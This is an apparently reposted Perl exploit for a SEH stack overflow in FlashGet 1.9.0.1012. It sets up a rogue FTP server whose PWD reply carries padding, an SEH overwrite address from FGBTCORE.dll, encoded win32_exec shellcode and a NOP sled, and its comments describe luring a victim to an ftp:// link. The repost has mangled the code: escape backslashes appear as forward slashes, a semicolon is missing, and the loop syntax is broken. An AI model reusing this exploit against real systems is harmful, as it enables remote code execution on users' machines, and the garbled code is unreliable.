FlashGet 1.9.0.1012 (FTP PWD Response) SEH STACK Overflow Exploit

来源:互联网 发布:实物电路图软件 编辑:程序博客网 时间:2024/05/02 01:33
  1. #!/usr/bin/perl
  2. # FlashGet 1.9.0.1012 (FTP PWD Response) SEH STACK Overflow Exploit
  3. # Coded By SkOd, skod.uk at gmail dot com
  4. # Tested over Windows XP sp1 Hebrew
  5. # link your victim to - ftp://localhost/somefile.TORRENT - over internet explorer.
  6. ##
  7. # PoC by Krystian Kloskowski (h07) <h07@interia.pl>
  8. # http://milw0rm.com/exploits/6240
  9. ##
  10. # special thanks to a friend of mine who helped me
  11. use IO::Socket;
  12. ####################################[ Parameters ]########################################
  13. my $SHELLCODE =
  14. "/x31/xc9/x83/xe9/xde/xd9/xee/xd9/x74/x24/xf4/x5b/x81/x73/x13/x6b".
  15. "/xa3/x03/x10/x83/xeb/xfc/xe2/xf4/x97/x4b/x47/x10/x6b/xa3/x88/x55".
  16. "/x57/x28/x7f/x15/x13/xa2/xec/x9b/x24/xbb/x88/x4f/x4b/xa2/xe8/x59".
  17. "/xe0/x97/x88/x11/x85/x92/xc3/x89/xc7/x27/xc3/x64/x6c/x62/xc9/x1d".
  18. "/x6a/x61/xe8/xe4/x50/xf7/x27/x14/x1e/x46/x88/x4f/x4f/xa2/xe8/x76".
  19. "/xe0/xaf/x48/x9b/x34/xbf/x02/xfb/xe0/xbf/x88/x11/x80/x2a/x5f/x34".
  20. "/x6f/x60/x32/xd0/x0f/x28/x43/x20/xee/x63/x7b/x1c/xe0/xe3/x0f/x9b".
  21. "/x1b/xbf/xae/x9b/x03/xab/xe8/x19/xe0/x23/xb3/x10/x6b/xa3/x88/x78".
  22. "/x57/xfc/x32/xe6/x0b/xf5/x8a/xe8/xe8/x63/x78/x40/x03/x53/x89/x14".
  23. "/x34/xcb/x9b/xee/xe1/xad/x54/xef/x8c/xc0/x62/x7c/x08/xa3/x03/x10";
  24. # win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
  25. # The Host that will be listen to the Download request from Flashget
  26. my $HOST = '127.0.0.1'; #your own ip
  27. #################################[Don't Edit From Here]#####################################
  28. ######################################[Defines]#############################################
  29. my $PADDING_CHAR = "A";
  30. my $PADDING_SIZE = 324;
  31. #The code will return to next_seh_chain so i make it as jump and invalid address
  32. #so it will be decoded as last in chain.
  33. my $NEXT_SEH_IN_CHAIN = "/xEB/x06/xFF/xFF"; # JMP +6
  34. #Settings Return Address
  35. my $CUR_SEH_ADDRESS = "/x8B/x19/x01/x10"
  36. # Chosen Ret Addr is : 0x1001198B FlashGet/FGBTCORE.dll v1.0. 0.36
  37. # 1001198B   5E               POP ESI
  38. # 1001198C   5B               POP EBX
  39. # 1001198D   C3               RETN
  40. # Building SEH Block
  41. my $SEH_BLOCK = $NEXT_SEH_IN_CHAIN . 
  42.                 $CUR_SEH_ADDRESS;
  43. #Creating Payload
  44. $PAYLOAD  = $PADDING_CHAR x $PADDING_SIZE;      
  45. $PAYLOAD .= $SEH_BLOCK;
  46. $PAYLOAD .= $SHELLCODE;
  47. $PAYLOAD .= "/x90" x 300;   #Putting alot of nops so the code will get Exception that we write after stack is over
  48.                             #witch will make it to call our code
  49. $LISTEN_PORT = 21;
  50. ##########################################################################
  51. print "# FlashGet 1.9.0.1012 (FTP PWD Response) SEH STACK Overflow Exploit/r/n";
  52. print "# Coded By SkOd, skod.uk/x40gmail/x2ecom/r/n";
  53. my $serverSocket = new IO::Socket::INET (Listen => 1,
  54.                     LocalAddr => $HOST,
  55.                     LocalPort => $LISTEN_PORT,
  56.                     Proto     => 'tcp');    
  57. do
  58. {
  59.     print "/r/n[~] listening.../r/n";
  60.     $clientSocket = $serverSocket->accept();
  61.     print "[+] New Connection Recived/r/n";
  62.     $clientSocket->send("220 WELCOME!/r/n");
  63.     $isPayloadSent = 0;
  64.     
  65.     while($isPayloadSent == 0) {
  66.         $clientSocket->recv($recvBuffer,1024);
  67.             print "[~] Recived: " . $recvBuffer;
  68.     
  69.         if($recvBuffer =~ /USER/) {
  70.             $clientSocket->send("331 Password required for l33t/r/n");
  71.         } elsif($recvBuffer =~ /PASS/) {
  72.             $clientSocket->send("230 User l33t logged in./r/n");
  73.         } else {
  74.             $clientSocket->send("257 /"$PAYLOAD/"/r/n");
  75.             print("[+] The payload has been sent.../r/n");
  76.             $isPayloadSent = 1;
  77.         }
  78.     }
  79.     
  80.     $clientSocket->close();
  81.     
  82. while (true);

原创粉丝点击